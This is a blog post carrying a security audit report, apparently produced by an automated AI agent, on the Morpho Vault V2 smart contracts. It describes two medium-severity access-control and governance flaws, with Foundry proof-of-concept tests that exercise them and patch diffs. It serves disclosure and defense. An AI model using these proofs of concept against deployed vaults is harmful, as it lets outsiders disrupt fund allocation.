Back to Blog
Security Audit Report: Morpho Vault V2

Security Audit Report: Morpho Vault V2

By Kai Team2.02.2026

We ran Kai Agent against the Morpho Vault V2 repository, analyzing the vault mechanics, fee calculations, adapter interactions, and access control systems. The automated analysis discovered two medium-severity vulnerabilities.

Executive Summary

MetricValue
Repositorymorpho-org/vault-v2
Contracts AnalyzedVaultV2, MorphoMarketV1AdapterV2
Exploit Candidates Found10
Verified Exploits2
Rejected (False Positives)8

Severity Breakdown

SeverityCount
Critical0
High0
Medium2
Low0
Informational0

Verified Vulnerabilities

[MEDIUM] forceDeallocate Access Control Bypass

Severity: Medium

Affected Contract: VaultV2.sol

Affected Function: forceDeallocate() (lines 830-839)

Vulnerability Class: Access Control

Description

The forceDeallocate function has no access control and the default forceDeallocatePenalty is 0 for all adapters. This allows any untrusted user to force deallocate assets from any adapter without paying any penalty, disrupting the vault's allocation strategy.

Root Cause Analysis

Vulnerable Code (VaultV2.sol lines 830-839):

solidity
function forceDeallocate(address adapter, bytes memory data, uint256 assets, address onBehalf)
    external
    returns (uint256)
{
    bytes32[] memory ids = deallocateInternal(adapter, data, assets);
    uint256 penaltyAssets = assets.mulDivUp(forceDeallocatePenalty[adapter], WAD);
    uint256 penaltyShares = withdraw(penaltyAssets, address(this), onBehalf);
    emit EventsLib.ForceDeallocate(msg.sender, adapter, assets, onBehalf, ids, penaltyAssets);
    return penaltyShares;
}

Contrasted with deallocate (line 598-601):

solidity
function deallocate(address adapter, bytes memory data, uint256 assets) external {
    require(isAllocator[msg.sender] || isSentinel[msg.sender], ErrorsLib.Unauthorized());
    deallocateInternal(adapter, data, assets);
}

Key Issues:

  1. deallocate requires isAllocator or isSentinel role
  2. forceDeallocate has NO access control
  3. forceDeallocatePenalty[adapter] defaults to 0 for all adapters
  4. When penalty is 0, anyone can force deallocate for free

Impact

  • Attack Vector: Any external user can call forceDeallocate on any adapter
  • Attack Cost: Zero (only gas costs when penalty not set)
  • Effect: Disrupts allocation strategy by moving funds out of adapters
  • Funds at Risk: No direct theft (assets return to vault), but operational disruption

Proof of Concept

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import "forge-std/Test.sol";
import "src/VaultV2.sol";
import "src/interfaces/IAdapter.sol";
import "src/interfaces/IERC20.sol";

contract MockERC20 {
    string public name;
    string public symbol;
    uint8 public immutable decimals;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract MockAdapter is IAdapter {
    IERC20 public immutable asset;
    VaultV2 public immutable vault;
    uint256 public storedAssets;

    constructor(IERC20 _asset, VaultV2 _vault) {
        asset = _asset;
        vault = _vault;
    }

    function allocate(bytes memory data, uint256 assets, bytes4, address)
        external
        returns (bytes32[] memory ids, int256 change)
    {
        require(msg.sender == address(vault), "not vault");
        storedAssets += assets;
        ids = new bytes32[](1);
        ids[0] = keccak256(data);
        change = int256(assets);
    }

    function deallocate(bytes memory data, uint256 assets, bytes4, address)
        external
        returns (bytes32[] memory ids, int256 change)
    {
        require(msg.sender == address(vault), "not vault");
        storedAssets -= assets;
        asset.approve(address(vault), assets);
        ids = new bytes32[](1);
        ids[0] = keccak256(data);
        change = -int256(assets);
    }

    function realAssets() external view returns (uint256 assets) {
        return storedAssets;
    }
}

contract ForceDeallocateBypassTest is Test {
    VaultV2 internal vault;
    MockERC20 internal asset;
    MockAdapter internal adapter;

    address internal owner = address(this);
    address internal allocator = address(0xA11CE);
    address internal attacker = address(0xBEEF);

    bytes internal idData = abi.encode("MARKET");

    function setUp() public {
        asset = new MockERC20("Mock", "MOCK", 18);
        vault = new VaultV2(owner, address(asset));

        // Setup vault with allocator and adapter...
        vault.setCurator(owner);

        bytes memory data = abi.encodeWithSelector(vault.setIsAllocator.selector, allocator, true);
        vault.submit(data);
        vault.setIsAllocator(allocator, true);

        adapter = new MockAdapter(IERC20(address(asset)), vault);
        data = abi.encodeWithSelector(vault.addAdapter.selector, address(adapter));
        vault.submit(data);
        vault.addAdapter(address(adapter));

        // Fund and allocate
        asset.mint(address(this), 1_000 ether);
        asset.approve(address(vault), type(uint256).max);
        vault.deposit(1_000 ether, address(this));

        vm.prank(allocator);
        vault.allocate(address(adapter), idData, 500 ether);
    }

    function test_forceDeallocateBypassesAccess() public {
        // attacker is not allocator/sentinel, direct deallocate should revert
        vm.prank(attacker);
        vm.expectRevert();
        vault.deallocate(address(adapter), idData, 100 ether);

        // forceDeallocate is open and penalty defaults to 0
        vm.prank(attacker);
        vault.forceDeallocate(address(adapter), idData, 100 ether, attacker);

        // assets moved out despite lack of role
        assertEq(adapter.storedAssets(), 400 ether);
    }
}

Recommended Fix

Restrict forceDeallocate to allocator/sentinel when penalty is zero:

diff
--- src/VaultV2.sol
+++ src/VaultV2.sol
@@ -831,9 +831,14 @@
         external
         returns (uint256)
     {
+        uint256 penalty = forceDeallocatePenalty[adapter];
+        if (penalty == 0) {
+            require(isAllocator[msg.sender] || isSentinel[msg.sender], ErrorsLib.Unauthorized());
+        }
+
         bytes32[] memory ids = deallocateInternal(adapter, data, assets);
-        uint256 penaltyAssets = assets.mulDivUp(forceDeallocatePenalty[adapter], WAD);
-        uint256 penaltyShares = withdraw(penaltyAssets, address(this), onBehalf);
+        uint256 penaltyAssets = assets.mulDivUp(penalty, WAD);
+        uint256 penaltyShares = penaltyAssets == 0 ? 0 : withdraw(penaltyAssets, address(this), onBehalf);
         emit EventsLib.ForceDeallocate(msg.sender, adapter, assets, onBehalf, ids, penaltyAssets);
         return penaltyShares;
     }

[MEDIUM] Revoke Liveness Issue - Pending Actions Become Non-Revokable

Severity: Medium

Affected Contract: VaultV2.sol

Affected Functions: setCurator() (line 316), revoke() (line 366)

Vulnerability Class: Access Control / Governance

Description

The revoke function requires msg.sender == curator || isSentinel[msg.sender] to cancel pending timelocked actions. However, the owner can set the curator to address(0) via setCurator() without any checks for pending actions or sentinel availability. When this happens with no sentinels configured, pending timelocked actions become permanently non-revokable.

Root Cause Analysis

setCurator (line 316-320) - No checks for pending actions:

solidity
function setCurator(address newCurator) external {
    require(msg.sender == owner, ErrorsLib.Unauthorized());
    curator = newCurator;  // Can be set to address(0)
    emit EventsLib.SetCurator(newCurator);
}

revoke (line 366-372) - Requires curator or sentinel:

solidity
function revoke(bytes calldata data) external {
    require(msg.sender == curator || isSentinel[msg.sender], ErrorsLib.Unauthorized());
    require(executableAt[data] != 0, ErrorsLib.DataNotTimelocked());
    executableAt[data] = 0;
    bytes4 selector = bytes4(data);
    emit EventsLib.Revoke(msg.sender, selector, data);
}

Problem Sequence:

  1. Curator submits a timelocked action (executableAt[data] > 0)
  2. Owner calls setCurator(address(0)) - no sentinels exist
  3. Previous curator cannot revoke (no longer matches curator state variable)
  4. address(0) cannot call functions
  5. Owner is not authorized to revoke (not curator or sentinel)
  6. Pending action becomes non-revokable but will still execute after timelock

Impact

  • Attack Vector: Requires owner action (privileged role)
  • Effect: Pending timelocked actions cannot be cancelled
  • Risk: Potentially harmful pending actions will execute after timelock expires
  • Mitigating Factor: Owner could add themselves as sentinel first, or the action will eventually execute anyway

Proof of Concept

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "src/VaultV2.sol";

contract SimpleERC20 {
    string public name = "TestToken";
    string public symbol = "TT";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor() {
        totalSupply = 1e24;
        balanceOf[msg.sender] = 1e24;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract RevokeLivenessTest is Test {
    VaultV2 vault;
    SimpleERC20 token;
    address owner = address(this);
    address curator = address(0xBEEF);

    function setUp() public {
        token = new SimpleERC20();
        vault = new VaultV2(owner, address(token));
        vault.setCurator(curator);
    }

    function test_revoke_becomes_impossible_when_curator_zero() public {
        bytes memory data = abi.encodeWithSelector(vault.setIsAllocator.selector, address(0x1234), true);

        // curator submits a timelocked action
        vm.prank(curator);
        vault.submit(data);
        uint256 exec = vault.executableAt(data);
        assertGt(exec, 0, "executableAt should be set");

        // owner sets curator to zero address (no sentinel set)
        vault.setCurator(address(0));
        assertEq(vault.curator(), address(0));

        // previous curator can no longer revoke
        vm.prank(curator);
        vm.expectRevert();
        vault.revoke(data);

        // owner also cannot revoke (not curator/sentinel)
        vm.expectRevert();
        vault.revoke(data);

        // executableAt remains set, but no authorized caller exists
        assertGt(vault.executableAt(data), 0, "still pending and cannot be cleared");
    }
}

Recommended Fix

Track pending actions and prevent curator removal when actions would become non-revokable:

diff
--- src/libraries/ErrorsLib.sol
+++ src/libraries/ErrorsLib.sol
@@ -23,6 +23,7 @@
     error InvalidSigner();
     error MaxRateTooHigh();
     error NoCode();
+    error NoRevoker();
     error NotAdapter();
     error NotInAdapterRegistry();
     error PenaltyTooHigh();
--- src/VaultV2.sol
+++ src/VaultV2.sol
@@ -239,6 +239,8 @@
     mapping(bytes4 selector => uint256) public timelock;
     mapping(bytes4 selector => bool) public abdicated;
     mapping(bytes data => uint256) public executableAt;
+    uint256 public pendingActions;
+    uint256 public sentinelCount;

     function setCurator(address newCurator) external {
         require(msg.sender == owner, ErrorsLib.Unauthorized());
+        if (newCurator == address(0) && pendingActions > 0) {
+            require(sentinelCount > 0, ErrorsLib.NoRevoker());
+        }
         curator = newCurator;
         emit EventsLib.SetCurator(newCurator);
     }

     function setIsSentinel(address account, bool newIsSentinel) external {
         require(msg.sender == owner, ErrorsLib.Unauthorized());
+        bool wasSentinel = isSentinel[account];
+        if (newIsSentinel != wasSentinel) {
+            if (newIsSentinel) {
+                sentinelCount += 1;
+            } else {
+                require(!(pendingActions > 0 && curator == address(0) && sentinelCount == 1), ErrorsLib.NoRevoker());
+                sentinelCount -= 1;
+            }
+        }
         isSentinel[account] = newIsSentinel;
     }

     function submit(bytes calldata data) external {
         // ... existing code ...
+        pendingActions += 1;
     }

     function timelocked() internal {
         // ... existing code ...
+        pendingActions -= 1;
     }

     function revoke(bytes calldata data) external {
         // ... existing code ...
+        pendingActions -= 1;
     }

Rejected Findings (False Positives)

The following 8 exploit candidates were investigated but rejected:

FindingReason
Adapter access control (5 candidates)Did not compile - missing dependencies
Curator timelock bypassDocumented design - zero timelock is intentional for setup
Long inactivity fee DoSDocumented limitation - code states 10-year accrual requirement

Methodology

Kai Agent uses a multi-phase security analysis pipeline:

  1. Setup: Repository cloned, dependencies installed, contracts compiled
  2. Static Analysis: Control flow and access control pattern analysis
  3. Invariant Discovery: Security properties extracted from code and documentation
  4. Mission Dispatch: Targeted analysis of access control, timelocks, and role management
  5. Exploit Generation: Foundry PoC tests written for each candidate
  6. Verification: Tests compiled and executed - only passing tests qualify
  7. Fix Generation: Patches generated and validated

Verification Against Original Code

Both vulnerabilities were verified against the original Morpho repository:

  • forceDeallocate (line 830) has no access control vs deallocate (line 598) which requires allocator/sentinel
  • setCurator (line 316) has no checks for pending actions or sentinel availability

Conclusion

This audit discovered two medium-severity vulnerabilities in Morpho Vault V2:

  1. forceDeallocate Access Control Bypass: The function lacks access control and defaults to zero penalty, allowing anyone to disrupt vault allocations at no cost. This breaks the intended permission model where only allocators/sentinels can move funds.

  2. Revoke Liveness Issue: The owner can remove the curator while pending timelocked actions exist, and if no sentinels are configured, those actions become non-revokable. This breaks an important safety mechanism.

Both issues relate to access control and governance mechanisms. While neither allows direct fund theft, they can cause significant operational disruption and undermine the vault's security model.

Generated by Kai Agent.

Recent Articles

Security Audit Report: Ethena Staking Contracts

Security Audit Report: Ethena Staking Contracts

By Kai Team3.02.2026
Security Audit Report: Tempo Protocol

Security Audit Report: Tempo Protocol

By Kai Team2.02.2026
How AI is Revolutionizing Smart Contract Security

How AI is Revolutionizing Smart Contract Security

By Kai Team20.12.2025
Copyright © 2026 DRIA. All Rights Reserved.
PrivacyTerms
Follow Kai:
GitHubX